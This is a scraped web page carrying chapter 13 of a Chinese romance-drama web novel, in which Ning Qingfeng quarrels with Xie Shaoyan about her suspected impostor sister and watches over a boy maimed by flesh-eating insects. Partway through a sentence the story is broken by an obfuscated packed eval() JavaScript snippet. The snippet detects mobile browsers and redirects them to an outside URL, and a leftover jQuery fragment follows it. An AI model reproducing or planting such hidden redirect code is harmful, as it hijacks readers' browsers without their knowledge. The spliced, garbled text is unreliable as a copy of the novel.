13. 第 13 章
作品:《我和庶姐有个秘密》 虞青雪清晰感知到对面汹涌而来的愤怒。可他丝毫没有愧疚之心,反而更加兴奋。
对着宁青风直面而来的怒火,他只是勾了唇角,不置一词,果然收获汹涌扑来的情绪。
宁青风气炸了,她从未见过这样毫无人性的家伙。
那一瞬间她真想一拳打哭这个混账。
“住手!”
终究被人拦下来。
侍从将他们团团围住,宁青风回头,阻拦她的竟又是那个谢绍言。
“真相未明之前,不要随意给人定罪。”
看着谢绍言满脸义正言辞,宁青风气笑了:“你了解她?你知道她是什么人?蛇蝎美人,根本毫无人性!”
谢绍言被那目光刺痛,也生了脾气:“你从一开始就对她有偏见,到底为什么?”
为什么?
这一幕如斯眼熟,宁青风想起上一次,他们三人在这个城门口,一模一样的剑拔弩张。
那时,谢绍言也是这么质问她:“你怎能这么对一个姑娘?”
那姑娘拦下她的马,要当她的姐姐,被她毫不留情地绕道避开。
谁知那姑娘还不放弃,再一次扑上来,这一回却被宁青风身后跟着的同伴们撞个正着。
宁青风不是故意的,身后的纨绔们也不是,可架不住那乞儿摔得很惨,眼底晃出粼粼的水光,一下子将他们衬成了欺负弱女子的恶霸。
宁青风有那么一瞬间愧疚。
可谢绍言那句质问立刻激起了宁小霸王的脾气:“我的马儿跑得正好,是她自己撞上来,怎能赖我?”
乞儿只是哭,并不言语。
时下百姓多艰,人命如草芥,这么一闹更多人瞧起了热闹,对马上那鲜衣怒马的纨绔指指点点。
宁青风又是气愤又是委屈,马鞭直指那受伤的乞儿,恶狠狠警告:“碰瓷也该找对人,小爷今日便放过你,若再有下次,小爷可不是好惹的!”
她没那么多时间陪那不起眼的乞儿闹,拍马便要去追赶祥瑞。
谢绍言那一闪而过的嫌恶表情却被宁青风看在眼里。
记到了现在。
“你还护着她?”
宁青风望着拦在跟前的“小君子”,忽然明白什么,“你对她这么上心啊……既然如此,明日就让你母亲来宁国府提亲可好?”
谢绍言脸颊一下红了,不是害羞,而是气的。
“谁像你天天想姑娘?”脸上的嫌恶瞧着更甚,“宁青风,你怎么变成了这样?!”
“我都说了,别把我想得太好。”宁青风冷嗤一声,转头却不忘让折家兄妹把那少年拎走。
“带他去哪?”谢绍言警惕问。
“当然去见郎中啊。”
宁青风摸了摸下巴,一下凑近了去瞧对家还没消下去的红脸。
“小君子可不会让人家伤患等在寒冬腊月活受罪的,是吧。”
谢绍言噎了一下,白净的面颊红得更厉害了,这回是气得咬牙切齿,一字一顿喊了人大名:“宁、青、风!”
宁青风得逞大笑起来,逗这小正经可真有意思,从小到大屡试不爽。
突兀的酸意忽然涌上心头。宁青风一愣,转头就对上虞青雪面无表情的脸。
酸?
虞青雪这是……吃醋了?
宁青风看着她的“姐姐”,脸上的笑意霎时变成冰冷的敌意。
很快对方那股泛酸的情绪也变成了暴怒,面上却什么也不显。
宁青风才不惯着她,既然姐姐喜欢装,那就让她装个够好了。
宁青风这回可真是生气了,看都不多看虞青雪一眼。转头又上前一步,几乎贴到对家跟前了:“哎呀呀,咱们人人称赞的绍言君,京中多少贵女的梦中情郎啊,居然也有失态的一天。”
谢绍言瞧着都快气晕过去,最后一刻闭上眼,总算保住了体面,狠狠呼吸了几个来回。再睁眼时,已经恢复了平静。
宁青风看得佩服之至。可之后任凭她怎么逗弄,谢绍言都面不改色了。
宁青风觉得很没意思,转头便要离开,却又被对方抓住,变本加利说教起来:“宁青风,无论如何,虞姑娘并非你想的那样,你的确误会她了。”
宁青风眉梢一挑:“你又知道了?”
她狐疑地盯上谢绍言,目光在微红的俊脸上停了了好一番:“你对她这般上心,难道还在我不知道的地方见过面?”
谢绍言点了点头:“那日虞姑娘受伤,我派人送她去医馆。虞姑娘却不肯见郎中,只抓了药自己医治,还带话说要报答我的恩情,用得着她的地方一定要找她。我才知道她懂医术,也生了爱才之心,便给了她份活计,让她留在城内。”
原来“阿雪”早就能进城了,她一直在骗自己,宁青风越想越气:“阿雪”的一切,果然是针对她精心设下的陷阱。
宁青风虽然早就推测出来,可到底亲耳听到时又不一样。
最后一点旧日情分也被消磨尽了,宁青风对这位新“姐姐”的印象可谓差到谷底。
谢绍言什么都不知道,还在帮着劝说:“后来每每出城施粥,虞姑娘必定出现,帮着治疗有患灾民,救了许多人——如此善良的姑娘,怎么可能会那些腌臜手段?”
善良?宁青风嗤笑,那可不一定。
“我知道你和她过去有误会,可人不能只停留在过去,你该看看她的全貌。”
该看清她全貌的人是你。
当然宁青风这话没说出口。虞青雪蛊惑人心的手段可谓相当高明,不是三言两语就能改变的。否则她又怎会着了这蛇蝎美人的道?
宁青风只是摇摇脑袋,已经能心平气和梳理出过去的真相:“所以阿雪租的那破院子是你的。”
“她找到的活计也是你家的。”
“你还眼睁睁看着我向她献殷勤。”
宁青风一转矛头指向些绍言,“你什么都知道,却什么都不告诉我?”
“我哪有?!”谢绍言惊了,“我哪知道她是你走丢的姐姐?虞姑娘说不想让人知道她的过去,这才……”
他生怕叫宁青风生了误会,语气快得一反常态。
宁青风盯着他好一会儿,忽然感慨一声:“你栽了。”
和她一样,栽在蛇蝎美人身上了。
“啊?”谢绍言有些摸不着头脑。他只是想让同窗回头是岸,别在纨绔这条路上越走越深,回不了头。
可今时今日,他发觉自己根本摸不清那同窗在想什么,满肚子谆谆教诲喂了狗,有去无回。没由来生了一股闷气:“好,我不说了,你自己瞧着办!”甩手便走。
脾气还蛮大。
目送谢绍言离开,宁青风狠狠惕了虞青雪一眼,也转头离开了。
根本不想不多看虞青雪一眼。
可是虞青雪的存在就像一颗危险的炸弹,不知何时会炸。让她不得不打起全身心精神警惕着,把所有注意力放在她身上。
不过很快就能解脱了。
宁青风可是掌握了“姐姐”最致命的证据。
她一回府,立刻扑到那少年跟前。
可惜少年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906376|192234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受了重伤,已经发起了高烧,神志不清了。
宁青风看着他露在外的脚骨,此刻已被医师层层白纱裹上,掩盖了那底下令人惊悚的骇然。
可她忘不了当时所见。
那群蛇虫像极了云初治下田地中的一次过境蝗虫,摧枯拉朽而过,万物便一扫而空。
那漆黑的壳虫密密麻麻爬动着,血肉被肉眼可见的速度啃食,露出森森白骨。
那一瞬间,宁青风的腿仿佛也跟着翻出白骨,针扎般的刺痛席卷全身。
前所未有的恐惧,也是前所未有的厌恶。
那个“姐姐”,撕开层层伪装之下,竟是个魔鬼。为了掩盖自己的真实身份,竟然出手就要人的命。
若此前宁青风还对这名义上的“姐姐”怀有一丝或愧疚或同情的忍让,可见了她视人命如草芥的残忍后,只剩下了恐惧。
宁青风打了个寒颤,追问府中医师:“他多久能醒?”
医师面露忧色:“这孩子高烧不退,脉象浮数,乃是惊惧交加所致。加之长期饥寒交迫,如今元气大耗……能不能熬过这一关都难说。”
“你是说,他恐怕活不成了?”
“是。他脉象虚弱,竟毫无半分求生之志,这才是最棘手的……”
她这个旁观者尚且不忍细想,更别提当事少年有多惊恐,甚至于还遭受何等折磨,才能失去求生的欲望?
宁青风咬咬牙,心中恨意更甚:“无论如何都得让人醒来,我要他活!”
当日宁国府陆续进出多位郎中,连宁青风当日乔装见过的那专治疑难杂症的郎中都被拉了来,动静不可谓不大,府中的戴姑姑也被惊动了。
“那少年究竟是什么人物,怎叫你如此大动干戈,京城几乎有点名气的医师都给请来了。”
宁青风只道:“他不能死。”
满桌的美味佳肴,宁青风只动了几筷子,便味同嚼蜡地撤下了。
戴姑姑见她神情厌厌,很是担心:“公子平日胃口最好,今日却连着两顿都没怎么吃。方才老爷妇人从宫中回来让姐弟俩一同去吃饭,公子也拒绝了。今日出门见到什么,叫公子这般心神不宁?”
宁青风还在走神。
戴姑姑摸摸她的眉心:“怎叫虫子盯这么大个包……”可摸着摸着,又觉得不像,戴姑姑念叨,“该叫郎中先给公子瞧瞧。”
临出门却被叫住:“不必了。”
宁青风抬眼道,“姑姑,那个‘青雪’当真没问题么?”
戴姑姑瞧着她眼底带着脆弱的哀求,一时有些心软:“公子怎么还记挂着这事?你阿娘不会随意认人回来,至少那大姑娘和老爷早年去世的大姐姐有七分像。”
“就因为像?”她从未想过是这样简单的理由叫阿娘认下她。
宁青风有些失控,因而错过戴姑姑的欲言又止。她一心只放到如何揭穿这个“姐姐”身上。
世上有那么多相像之人,偏偏被她撞上了……老天真是瞎了眼,宁青风咬着指头想,早知道对着虞青雪的脸再找一个相似的姑娘回家……
不过,能找到妖艳成那样的脸,也绝非易事。
只能暂且搁置。
此刻,“虞青雪”可正和她的爹娘吃饭呢。
宁青风根本不放心那魔鬼和爹娘待在一块。她本来可以亲自出面,把一切危险扼在苗头。
可宁青风今日就是不想再见那“姐姐”一面,想到就汗毛直立——非常没骨气地退缩了。
此刻她只能窝在房里,暗戳戳凝神窥探一院之隔的另一道情绪。

